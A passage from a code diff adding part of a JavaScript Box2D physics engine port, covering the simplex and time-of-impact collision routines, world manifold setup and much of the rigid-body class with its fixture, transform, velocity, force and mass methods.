+ for (var i = 0; i < this.m_count; i++) {
+ cache.indexA[i] = vertices[i].indexA;
+ cache.indexB[i] = vertices[i].indexB;
+ }
+};
+Box2D.Collision.b2Simplex.prototype.GetSearchDirection = function() {
+ if (this.m_count == 1) {
+ return this.m_v1.w.GetNegative();
+ } else if (this.m_count == 2) {
+ var e12 = Box2D.Common.Math.b2Math.SubtractVV(this.m_v2.w, this.m_v1.w);
+ var sgn = Box2D.Common.Math.b2Math.CrossVV(e12, this.m_v1.w.GetNegative());
+ if (sgn > 0.0) {
+ return Box2D.Common.Math.b2Math.CrossFV(1.0, e12);
+ }
+ else {
+ return Box2D.Common.Math.b2Math.CrossVF(e12, 1.0);
+ }
+ } else {
+;
+ return Box2D.Common.Math.b2Vec2.Get(0, 0);
+ }
+};
+Box2D.Collision.b2Simplex.prototype.GetClosestPoint = function() {
+ if (this.m_count == 1) {
+ return this.m_v1.w;
+ } else if (this.m_count == 2) {
+ return Box2D.Common.Math.b2Vec2.Get(this.m_v1.a * this.m_v1.w.x + this.m_v2.a * this.m_v2.w.x, this.m_v1.a * this.m_v1.w.y + this.m_v2.a * this.m_v2.w.y);
+ } else {
+;
+ return Box2D.Common.Math.b2Vec2.Get(0, 0);
+ }
+};
+Box2D.Collision.b2Simplex.prototype.GetWitnessPoints = function(pA, pB) {
+ if (this.m_count == 1) {
+ pA.SetV(this.m_v1.wA);
+ pB.SetV(this.m_v1.wB);
+ } else if (this.m_count == 2) {
+ pA.x = this.m_v1.a * this.m_v1.wA.x + this.m_v2.a * this.m_v2.wA.x;
+ pA.y = this.m_v1.a * this.m_v1.wA.y + this.m_v2.a * this.m_v2.wA.y;
+ pB.x = this.m_v1.a * this.m_v1.wB.x + this.m_v2.a * this.m_v2.wB.x;
+ pB.y = this.m_v1.a * this.m_v1.wB.y + this.m_v2.a * this.m_v2.wB.y;
+ } else if (this.m_count == 3) {
+ pB.x = pA.x = this.m_v1.a * this.m_v1.wA.x + this.m_v2.a * this.m_v2.wA.x + this.m_v3.a * this.m_v3.wA.x;
+ pB.y = pA.y = this.m_v1.a * this.m_v1.wA.y + this.m_v2.a * this.m_v2.wA.y + this.m_v3.a * this.m_v3.wA.y;
+ } else {
+;
+ }
+};
+Box2D.Collision.b2Simplex.prototype.GetMetric = function() {
+ if (this.m_count == 1) {
+ return 0.0;
+ } else if (this.m_count == 2) {
+ return Box2D.Common.Math.b2Math.SubtractVV(this.m_v1.w, this.m_v2.w).Length();
+ } else if (this.m_count == 3) {
+ return Box2D.Common.Math.b2Math.CrossVV(Box2D.Common.Math.b2Math.SubtractVV(this.m_v2.w, this.m_v1.w), Box2D.Common.Math.b2Math.SubtractVV(this.m_v3.w, this.m_v1.w));
+ } else {
+;
+ return 0.0;
+ }
+};
+Box2D.Collision.b2Simplex.prototype.Solve2 = function() {
+ var w1 = this.m_v1.w;
+ var w2 = this.m_v2.w;
+ var e12 = Box2D.Common.Math.b2Math.SubtractVV(w2, w1);
+ var d12_2 = (-(w1.x * e12.x + w1.y * e12.y));
+ if (d12_2 <= 0.0) {
+ this.m_v1.a = 1.0;
+ this.m_count = 1;
+ return;
+ }
+ var d12_1 = (w2.x * e12.x + w2.y * e12.y);
+ if (d12_1 <= 0.0) {
+ this.m_v2.a = 1.0;
+ this.m_count = 1;
+ this.m_v1.Set(this.m_v2);
+ return;
+ }
+ var inv_d12 = 1.0 / (d12_1 + d12_2);
+ this.m_v1.a = d12_1 * inv_d12;
+ this.m_v2.a = d12_2 * inv_d12;
+ this.m_count = 2;
+};
+Box2D.Collision.b2Simplex.prototype.Solve3 = function() {
+ var w1 = this.m_v1.w;
+ var w2 = this.m_v2.w;
+ var w3 = this.m_v3.w;
+ var e12 = Box2D.Common.Math.b2Math.SubtractVV(w2, w1);
+ var w1e12 = Box2D.Common.Math.b2Math.Dot(w1, e12);
+ var w2e12 = Box2D.Common.Math.b2Math.Dot(w2, e12);
+ var d12_1 = w2e12;
+ var d12_2 = (-w1e12);
+ var e13 = Box2D.Common.Math.b2Math.SubtractVV(w3, w1);
+ var w1e13 = Box2D.Common.Math.b2Math.Dot(w1, e13);
+ var w3e13 = Box2D.Common.Math.b2Math.Dot(w3, e13);
+ var d13_1 = w3e13;
+ var d13_2 = (-w1e13);
+ var e23 = Box2D.Common.Math.b2Math.SubtractVV(w3, w2);
+ var w2e23 = Box2D.Common.Math.b2Math.Dot(w2, e23);
+ var w3e23 = Box2D.Common.Math.b2Math.Dot(w3, e23);
+ var d23_1 = w3e23;
+ var d23_2 = (-w2e23);
+ var n123 = Box2D.Common.Math.b2Math.CrossVV(e12, e13);
+ var d123_1 = n123 * Box2D.Common.Math.b2Math.CrossVV(w2, w3);
+ var d123_2 = n123 * Box2D.Common.Math.b2Math.CrossVV(w3, w1);
+ var d123_3 = n123 * Box2D.Common.Math.b2Math.CrossVV(w1, w2);
+ if (d12_2 <= 0.0 && d13_2 <= 0.0) {
+ this.m_v1.a = 1.0;
+ this.m_count = 1;
+ return;
+ }
+ if (d12_1 > 0.0 && d12_2 > 0.0 && d123_3 <= 0.0) {
+ var inv_d12 = 1.0 / (d12_1 + d12_2);
+ this.m_v1.a = d12_1 * inv_d12;
+ this.m_v2.a = d12_2 * inv_d12;
+ this.m_count = 2;
+ return;
+ }
+ if (d13_1 > 0.0 && d13_2 > 0.0 && d123_2 <= 0.0) {
+ var inv_d13 = 1.0 / (d13_1 + d13_2);
+ this.m_v1.a = d13_1 * inv_d13;
+ this.m_v3.a = d13_2 * inv_d13;
+ this.m_count = 2;
+ this.m_v2.Set(this.m_v3);
+ return;
+ }
+ if (d12_1 <= 0.0 && d23_2 <= 0.0) {
+ this.m_v2.a = 1.0;
+ this.m_count = 1;
+ this.m_v1.Set(this.m_v2);
+ return;
+ }
+ if (d13_1 <= 0.0 && d23_1 <= 0.0) {
+ this.m_v3.a = 1.0;
+ this.m_count = 1;
+ this.m_v1.Set(this.m_v3);
+ return;
+ }
+ if (d23_1 > 0.0 && d23_2 > 0.0 && d123_1 <= 0.0) {
+ var inv_d23 = 1.0 / (d23_1 + d23_2);
+ this.m_v2.a = d23_1 * inv_d23;
+ this.m_v3.a = d23_2 * inv_d23;
+ this.m_count = 2;
+ this.m_v1.Set(this.m_v3);
+ return;
+ }
+ var inv_d123 = 1.0 / (d123_1 + d123_2 + d123_3);
+ this.m_v1.a = d123_1 * inv_d123;
+ this.m_v2.a = d123_2 * inv_d123;
+ this.m_v3.a = d123_3 * inv_d123;
+ this.m_count = 3;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2SimplexCache = function() {
+ this.indexA = [0, 0, 0];
+ this.indexB = [0, 0, 0];
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2SimplexVertex = function() {};
+Box2D.Collision.b2SimplexVertex.prototype.Set = function(other) {
+ this.wA.SetV(other.wA);
+ this.wB.SetV(other.wB);
+ this.w.SetV(other.w);
+ this.a = other.a;
+ this.indexA = other.indexA;
+ this.indexB = other.indexB;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2TOIInput = function() {
+ this.proxyA = new Box2D.Collision.b2DistanceProxy();
+ this.proxyB = new Box2D.Collision.b2DistanceProxy();
+ this.sweepA = new Box2D.Common.Math.b2Sweep();
+ this.sweepB = new Box2D.Common.Math.b2Sweep();
+};
+Box2D.Collision.b2TimeOfImpact = {};
+Box2D.Collision.b2TimeOfImpact.TimeOfImpact = function(input) {
+ Box2D.Collision.b2TimeOfImpact.b2_toiCalls++;
+ var proxyA = input.proxyA;
+ var proxyB = input.proxyB;
+ var sweepA = input.sweepA;
+ var sweepB = input.sweepB;
+;
+;
+ var radius = proxyA.m_radius + proxyB.m_radius;
+ var tolerance = input.tolerance;
+ var alpha = 0.0;
+ var k_maxIterations = 1000;
+ var iter = 0;
+ var target = 0.0;
+ Box2D.Collision.b2TimeOfImpact.s_cache.count = 0;
+ Box2D.Collision.b2TimeOfImpact.s_distanceInput.useRadii = false;
+ for (;;) {
+ sweepA.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfA, alpha);
+ sweepB.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfB, alpha);
+ Box2D.Collision.b2TimeOfImpact.s_distanceInput.proxyA = proxyA;
+ Box2D.Collision.b2TimeOfImpact.s_distanceInput.proxyB = proxyB;
+ Box2D.Collision.b2TimeOfImpact.s_distanceInput.transformA = Box2D.Collision.b2TimeOfImpact.s_xfA;
+ Box2D.Collision.b2TimeOfImpact.s_distanceInput.transformB = Box2D.Collision.b2TimeOfImpact.s_xfB;
+ Box2D.Collision.b2Distance.Distance(Box2D.Collision.b2TimeOfImpact.s_distanceOutput, Box2D.Collision.b2TimeOfImpact.s_cache, Box2D.Collision.b2TimeOfImpact.s_distanceInput);
+ if (Box2D.Collision.b2TimeOfImpact.s_distanceOutput.distance <= 0.0) {
+ alpha = 1.0;
+ break;
+ }
+ Box2D.Collision.b2TimeOfImpact.s_fcn.Initialize(Box2D.Collision.b2TimeOfImpact.s_cache, proxyA, Box2D.Collision.b2TimeOfImpact.s_xfA, proxyB, Box2D.Collision.b2TimeOfImpact.s_xfB);
+ var separation = Box2D.Collision.b2TimeOfImpact.s_fcn.Evaluate(Box2D.Collision.b2TimeOfImpact.s_xfA, Box2D.Collision.b2TimeOfImpact.s_xfB);
+ if (separation <= 0.0) {
+ alpha = 1.0;
+ break;
+ }
+ if (iter == 0) {
+ if (separation > radius) {
+ target = Math.max(radius - tolerance, 0.75 * radius);
+ } else {
+ target = Math.max(separation - tolerance, 0.02 * radius);
+ }
+ }
+ if (separation - target < 0.5 * tolerance) {
+ if (iter == 0) {
+ alpha = 1.0;
+ break;
+ }
+ break;
+ }
+ var newAlpha = alpha; {
+ var x1 = alpha;
+ var x2 = 1.0;
+ var f1 = separation;
+ sweepA.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfA, x2);
+ sweepB.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfB, x2);
+ var f2 = Box2D.Collision.b2TimeOfImpact.s_fcn.Evaluate(Box2D.Collision.b2TimeOfImpact.s_xfA, Box2D.Collision.b2TimeOfImpact.s_xfB);
+ if (f2 >= target) {
+ alpha = 1.0;
+ break;
+ }
+ var rootIterCount = 0;
+ for (;;) {
+ var x = 0;
+ if (rootIterCount & 1) {
+ x = x1 + (target - f1) * (x2 - x1) / (f2 - f1);
+ } else {
+ x = 0.5 * (x1 + x2);
+ }
+ sweepA.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfA, x);
+ sweepB.GetTransform(Box2D.Collision.b2TimeOfImpact.s_xfB, x);
+ var f = Box2D.Collision.b2TimeOfImpact.s_fcn.Evaluate(Box2D.Collision.b2TimeOfImpact.s_xfA, Box2D.Collision.b2TimeOfImpact.s_xfB);
+ if (Math.abs(f - target) < 0.025 * tolerance) {
+ newAlpha = x;
+ break;
+ }
+ if (f > target) {
+ x1 = x;
+ f1 = f;
+ } else {
+ x2 = x;
+ f2 = f;
+ }
+ rootIterCount++;
+ Box2D.Collision.b2TimeOfImpact.b2_toiRootIters++;
+ if (rootIterCount == 50) {
+ break;
+ }
+ }
+ Box2D.Collision.b2TimeOfImpact.b2_toiMaxRootIters = Math.max(Box2D.Collision.b2TimeOfImpact.b2_toiMaxRootIters, rootIterCount);
+ }
+ if (newAlpha < (1.0 + 100.0 * Number.MIN_VALUE) * alpha) {
+ break;
+ }
+ alpha = newAlpha;
+ iter++;
+ Box2D.Collision.b2TimeOfImpact.b2_toiIters++;
+ if (iter == k_maxIterations) {
+ break;
+ }
+ }
+ Box2D.Collision.b2TimeOfImpact.b2_toiMaxIters = Math.max(Box2D.Collision.b2TimeOfImpact.b2_toiMaxIters, iter);
+ return alpha;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2WorldManifold = function() {
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.m_normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {Array.} */
+ this.m_points = [];
+ /** @type {number} */
+ this.m_pointCount = 0;
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.m_points[i] = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ }
+};
+/**
+ * @param {!Box2D.Collision.b2Manifold} manifold
+ * @param {!Box2D.Common.Math.b2Transform} xfA
+ * @param {number} radiusA
+ * @param {!Box2D.Common.Math.b2Transform} xfB
+ * @param {number} radiusB
+ */
+Box2D.Collision.b2WorldManifold.prototype.Initialize = function(manifold, xfA, radiusA, xfB, radiusB) {
+ if (manifold.m_pointCount == 0) {
+ return;
+ }
+ var i = 0;
+ var tVec;
+ var tMat;
+ var normalX = 0;
+ var normalY = 0;
+ var planePointX = 0;
+ var planePointY = 0;
+ var clipPointX = 0;
+ var clipPointY = 0;
+ switch (manifold.m_type) {
+ case Box2D.Collision.b2Manifold.e_circles:
+ tMat = xfA.R;
+ tVec = manifold.m_localPoint;
+ var pointAX = xfA.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ var pointAY = xfA.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tMat = xfB.R;
+ tVec = manifold.m_points[0].m_localPoint;
+ var pointBX = xfB.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ var pointBY = xfB.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ var dX = pointBX - pointAX;
+ var dY = pointBY - pointAY;
+ var d2 = dX * dX + dY * dY;
+ if (d2 > Box2D.Common.b2Settings.MIN_VALUE_SQUARED) {
+ var d = Math.sqrt(d2);
+ this.m_normal.x = dX / d;
+ this.m_normal.y = dY / d;
+ } else {
+ this.m_normal.x = 1;
+ this.m_normal.y = 0;
+ }
+ var cAX = pointAX + radiusA * this.m_normal.x;
+ var cAY = pointAY + radiusA * this.m_normal.y;
+ var cBX = pointBX - radiusB * this.m_normal.x;
+ var cBY = pointBY - radiusB * this.m_normal.y;
+ this.m_points[0].x = 0.5 * (cAX + cBX);
+ this.m_points[0].y = 0.5 * (cAY + cBY);
+ break;
+ case Box2D.Collision.b2Manifold.e_faceA:
+ tMat = xfA.R;
+ tVec = manifold.m_localPlaneNormal;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tMat = xfA.R;
+ tVec = manifold.m_localPoint;
+ planePointX = xfA.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ planePointY = xfA.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ this.m_normal.x = normalX;
+ this.m_normal.y = normalY;
+ for (i = 0; i < manifold.m_pointCount; i++) {
+ tMat = xfB.R;
+ tVec = manifold.m_points[i].m_localPoint;
+ clipPointX = xfB.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ clipPointY = xfB.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ this.m_points[i].x = clipPointX + 0.5 * (radiusA - (clipPointX - planePointX) * normalX - (clipPointY - planePointY) * normalY - radiusB) * normalX;
+ this.m_points[i].y = clipPointY + 0.5 * (radiusA - (clipPointX - planePointX) * normalX - (clipPointY - planePointY) * normalY - radiusB) * normalY;
+ }
+ break;
+ case Box2D.Collision.b2Manifold.e_faceB:
+ tMat = xfB.R;
+ tVec = manifold.m_localPlaneNormal;
+ normalX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ normalY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tMat = xfB.R;
+ tVec = manifold.m_localPoint;
+ planePointX = xfB.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ planePointY = xfB.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ this.m_normal.x = (-normalX);
+ this.m_normal.y = (-normalY);
+ for (i = 0; i < manifold.m_pointCount; i++) {
+ tMat = xfA.R;
+ tVec = manifold.m_points[i].m_localPoint;
+ clipPointX = xfA.position.x + tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ clipPointY = xfA.position.y + tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ this.m_points[i].x = clipPointX + 0.5 * (radiusB - (clipPointX - planePointX) * normalX - (clipPointY - planePointY) * normalY - radiusA) * normalX;
+ this.m_points[i].y = clipPointY + 0.5 * (radiusB - (clipPointX - planePointX) * normalX - (clipPointY - planePointY) * normalY - radiusA) * normalY;
+ }
+ break;
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2BodyDef} bd
+ * @param {!Box2D.Dynamics.b2World} world
+ * @constructor
+ */
+Box2D.Dynamics.b2Body = function(bd, world) {
+ /**
+ * @const
+ * @private
+ * @type {string}
+ */
+ this.ID = "Body" + Box2D.Dynamics.b2Body.NEXT_ID++;
+ /**
+ * @private
+ * @type {!Box2D.Common.Math.b2Transform}
+ */
+ this.m_xf = new Box2D.Common.Math.b2Transform();
+ this.m_xf.position.SetV(bd.position);
+ this.m_xf.R.Set(bd.angle);
+ /**
+ * @private
+ * @type {!Box2D.Common.Math.b2Sweep}
+ */
+ this.m_sweep = new Box2D.Common.Math.b2Sweep();
+ this.m_sweep.localCenter.SetZero();
+ this.m_sweep.t0 = 1.0;
+ this.m_sweep.a0 = this.m_sweep.a = bd.angle;
+ this.m_sweep.c.x = (this.m_xf.R.col1.x * this.m_sweep.localCenter.x + this.m_xf.R.col2.x * this.m_sweep.localCenter.y);
+ this.m_sweep.c.y = (this.m_xf.R.col1.y * this.m_sweep.localCenter.x + this.m_xf.R.col2.y * this.m_sweep.localCenter.y);
+ this.m_sweep.c.x += this.m_xf.position.x;
+ this.m_sweep.c.y += this.m_xf.position.y;
+ this.m_sweep.c0.SetV(this.m_sweep.c);
+ /**
+ * @private
+ * @type {!Box2D.Common.Math.b2Vec2}
+ */
+ this.m_linearVelocity = bd.linearVelocity.Copy();
+ /**
+ * @private
+ * @type {!Box2D.Common.Math.b2Vec2}
+ */
+ this.m_force = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_bullet = bd.bullet;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_fixedRotation = bd.fixedRotation;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_allowSleep = bd.allowSleep;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_awake = bd.awake;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_active = bd.active;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2World}
+ */
+ this.m_world = world;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Joints.b2Joint}
+ */
+ this.m_jointList = null;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactList}
+ */
+ this.contactList = new Box2D.Dynamics.Contacts.b2ContactList();
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Controllers.b2ControllerList}
+ */
+ this.controllerList = new Box2D.Dynamics.Controllers.b2ControllerList();
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_controllerCount = 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_angularVelocity = bd.angularVelocity;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_linearDamping = bd.linearDamping;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_angularDamping = bd.angularDamping;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_torque = 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_sleepTime = 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_type = bd.type;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_mass = this.m_type == Box2D.Dynamics.b2BodyDef.b2_dynamicBody ? 1 : 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_invMass = this.m_type == Box2D.Dynamics.b2BodyDef.b2_dynamicBody ? 1 : 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_I = 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_invI = 0;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_inertiaScale = bd.inertiaScale;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2FixtureList}
+ */
+ this.fixtureList = new Box2D.Dynamics.b2FixtureList();
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_lists = [];
+};
+/**
+ * @param {!Box2D.Dynamics.b2FixtureDef} def
+ */
+Box2D.Dynamics.b2Body.prototype.CreateFixture = function(def) {
+;
+ var fixture = new Box2D.Dynamics.b2Fixture(this, this.m_xf, def);
+ if (this.m_active) {
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ fixture.CreateProxy(broadPhase, this.m_xf);
+ }
+ this.fixtureList.AddFixture(fixture);
+ fixture.m_body = this;
+ if (fixture.m_density > 0.0) {
+ this.ResetMassData();
+ }
+ this.m_world.m_newFixture = true;
+ return fixture;
+};
+Box2D.Dynamics.b2Body.prototype.CreateFixture2 = function(shape, density) {
+ if (density === undefined) density = 0.0;
+ var def = new Box2D.Dynamics.b2FixtureDef();
+ def.shape = shape;
+ def.density = density;
+ return this.CreateFixture(def);
+};
+Box2D.Dynamics.b2Body.prototype.Destroy = function() {
+ Box2D.Common.Math.b2Vec2.Free(this.m_linearVelocity);
+ Box2D.Common.Math.b2Vec2.Free(this.m_force);
+};
+Box2D.Dynamics.b2Body.prototype.DestroyFixture = function(fixture) {
+;
+ this.fixtureList.RemoveFixture(fixture);
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ if (fixture == contactNode.contact.m_fixtureA || fixture == contactNode.contact.m_fixtureB) {
+ this.m_world.m_contactManager.Destroy(contactNode.contact);
+ }
+ }
+ if (this.m_active) {
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ fixture.DestroyProxy(broadPhase);
+ }
+ fixture.Destroy();
+ fixture.m_body = null;
+ this.ResetMassData();
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} position
+ * @param {number} angle
+ */
+Box2D.Dynamics.b2Body.prototype.SetPositionAndAngle = function(position, angle) {
+;
+ this.m_xf.R.Set(angle);
+ this.m_xf.position.SetV(position);
+ var tMat = this.m_xf.R;
+ var tVec = this.m_sweep.localCenter;
+ this.m_sweep.c.x = (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ this.m_sweep.c.y = (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ this.m_sweep.c.x += this.m_xf.position.x;
+ this.m_sweep.c.y += this.m_xf.position.y;
+ this.m_sweep.c0.SetV(this.m_sweep.c);
+ this.m_sweep.a0 = this.m_sweep.a = angle;
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ for (var node = this.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ node.fixture.Synchronize(broadPhase, this.m_xf, this.m_xf);
+ }
+ this.m_world.m_contactManager.FindNewContacts();
+};
+/**
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ */
+Box2D.Dynamics.b2Body.prototype.SetTransform = function(xf) {
+ this.SetPositionAndAngle(xf.position, xf.GetAngle());
+};
+/**
+ * @return {!Box2D.Common.Math.b2Transform}
+ */
+Box2D.Dynamics.b2Body.prototype.GetTransform = function() {
+ return this.m_xf;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Dynamics.b2Body.prototype.GetPosition = function() {
+ return this.m_xf.position;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} position
+ */
+Box2D.Dynamics.b2Body.prototype.SetPosition = function(position) {
+ this.SetPositionAndAngle(position, this.GetAngle());
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Body.prototype.GetAngle = function() {
+ return this.m_sweep.a;
+};
+/**
+ * @param {number} angle
+ */
+Box2D.Dynamics.b2Body.prototype.SetAngle = function(angle) {
+ this.SetPositionAndAngle(this.GetPosition(), angle);
+};
+Box2D.Dynamics.b2Body.prototype.GetWorldCenter = function() {
+ return this.m_sweep.c;
+};
+Box2D.Dynamics.b2Body.prototype.GetLocalCenter = function() {
+ return this.m_sweep.localCenter;
+};
+Box2D.Dynamics.b2Body.prototype.SetLinearVelocity = function(v) {
+ if (this.m_type == Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ return;
+ }
+ this.m_linearVelocity.SetV(v);
+};
+Box2D.Dynamics.b2Body.prototype.GetLinearVelocity = function() {
+ return this.m_linearVelocity;
+};
+Box2D.Dynamics.b2Body.prototype.SetAngularVelocity = function(omega) {
+ if (omega === undefined) omega = 0;
+ if (this.m_type == Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ return;
+ }
+ this.m_angularVelocity = omega;
+};
+Box2D.Dynamics.b2Body.prototype.GetAngularVelocity = function() {
+ return this.m_angularVelocity;
+};
+Box2D.Dynamics.b2Body.prototype.GetDefinition = function() {
+ var bd = new Box2D.Dynamics.b2BodyDef();
+ bd.type = this.GetType();
+ bd.allowSleep = this.m_allowSleep;
+ bd.angle = this.GetAngle();
+ bd.angularDamping = this.m_angularDamping;
+ bd.angularVelocity = this.m_angularVelocity;
+ bd.fixedRotation = this.m_fixedRotation;
+ bd.bullet = this.m_bullet;
+ bd.active = this.m_active;
+ bd.awake = this.m_awake;
+ bd.linearDamping = this.m_linearDamping;
+ bd.linearVelocity.SetV(this.GetLinearVelocity());
+ bd.position = this.GetPosition();
+ return bd;
+};
+Box2D.Dynamics.b2Body.prototype.ApplyForce = function(force, point) {
+ if (this.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ return;
+ }
+ this.SetAwake(true);
+ this.m_force.x += force.x;
+ this.m_force.y += force.y;
+ this.m_torque += ((point.x - this.m_sweep.c.x) * force.y - (point.y - this.m_sweep.c.y) * force.x);
+};
+Box2D.Dynamics.b2Body.prototype.ApplyTorque = function(torque) {
+ if (torque === undefined) torque = 0;
+ if (this.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ return;
+ }
+ this.SetAwake(true);
+ this.m_torque += torque;
+};
+Box2D.Dynamics.b2Body.prototype.ApplyImpulse = function(impulse, point) {
+ if (this.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ return;
+ }
+ this.SetAwake(true);
+ this.m_linearVelocity.x += this.m_invMass * impulse.x;
+ this.m_linearVelocity.y += this.m_invMass * impulse.y;
+ this.m_angularVelocity += this.m_invI * ((point.x - this.m_sweep.c.x) * impulse.y - (point.y - this.m_sweep.c.y) * impulse.x);
+};
+Box2D.Dynamics.b2Body.prototype.Split = function(callback) {
+ var linearVelocity = this.GetLinearVelocity().Copy();
+ var angularVelocity = this.GetAngularVelocity();
+ var center = this.GetWorldCenter();
+ var body1 = this;
+ var body2 = this.m_world.CreateBody(this.GetDefinition());
+ var prev;
+ for (var node = body1.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ var f = node.fixture;
+ if (callback(f)) {
+ body1.fixtureList.RemoveFixture(f);
+ body2.fixtureList.AddFixture(f);
+ }
+ }
+ body1.ResetMassData();
+ body2.ResetMassData();
+ var center1 = body1.GetWorldCenter();
+ var center2 = body2.GetWorldCenter();
+ var velocity1 = Box2D.Common.Math.b2Math.AddVV(linearVelocity, Box2D.Common.Math.b2Math.CrossFV(angularVelocity, Box2D.Common.Math.b2Math.SubtractVV(center1, center)));
+ var velocity2 = Box2D.Common.Math.b2Math.AddVV(linearVelocity, Box2D.Common.Math.b2Math.CrossFV(angularVelocity, Box2D.Common.Math.b2Math.SubtractVV(center2, center)));
+ body1.SetLinearVelocity(velocity1);
+ body2.SetLinearVelocity(velocity2);
+ body1.SetAngularVelocity(angularVelocity);
+ body2.SetAngularVelocity(angularVelocity);
+ body1.SynchronizeFixtures();
+ body2.SynchronizeFixtures();
+ return body2;
+};
+Box2D.Dynamics.b2Body.prototype.Merge = function(other) {
+ for (var node = other.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ this.fixtureList.AddFixture(node.fixture);
+ other.fixtureList.RemoveFixture(node.fixture);
+ }
+ other.ResetMassData();
+ this.ResetMassData();
+ this.SynchronizeFixtures();
+};
+Box2D.Dynamics.b2Body.prototype.GetMass = function() {
+ return this.m_mass;
+};
+Box2D.Dynamics.b2Body.prototype.GetInertia = function() {
+ return this.m_I;
+};
+/**
+ * @param {Box2D.Collision.Shapes.b2MassData=} massData
+ * @return {!Box2D.Collision.Shapes.b2MassData}
+ */
+Box2D.Dynamics.b2Body.prototype.GetMassData = function(massData) {
+ if (!massData) {
+ massData = new Box2D.Collision.Shapes.b2MassData();
+ }
+ massData.mass = this.m_mass;
+ massData.I = this.m_I;
+ massData.center.SetV(this.m_sweep.localCenter);
+ return massData;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2MassData} massData
+ */
+Box2D.Dynamics.b2Body.prototype.SetMassData = function(massData) {
+;
+ if (this.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ return;
+ }
+ this.m_invMass = 0.0;
+ this.m_I = 0.0;
+ this.m_invI = 0.0;
+ this.m_mass = massData.mass;
+ if (this.m_mass <= 0.0) {
+ this.m_mass = 1.0;
+ }
+ this.m_invMass = 1.0 / this.m_mass;
+ if (massData.I > 0.0 && !this.m_fixedRotation) {
+ this.m_I = massData.I - this.m_mass * (massData.center.x * massData.center.x + massData.center.y * massData.center.y);
+ this.m_invI = 1.0 / this.m_I;
+ }
+ var oldCenter = this.m_sweep.c.Copy();
+ this.m_sweep.localCenter.SetV(massData.center);
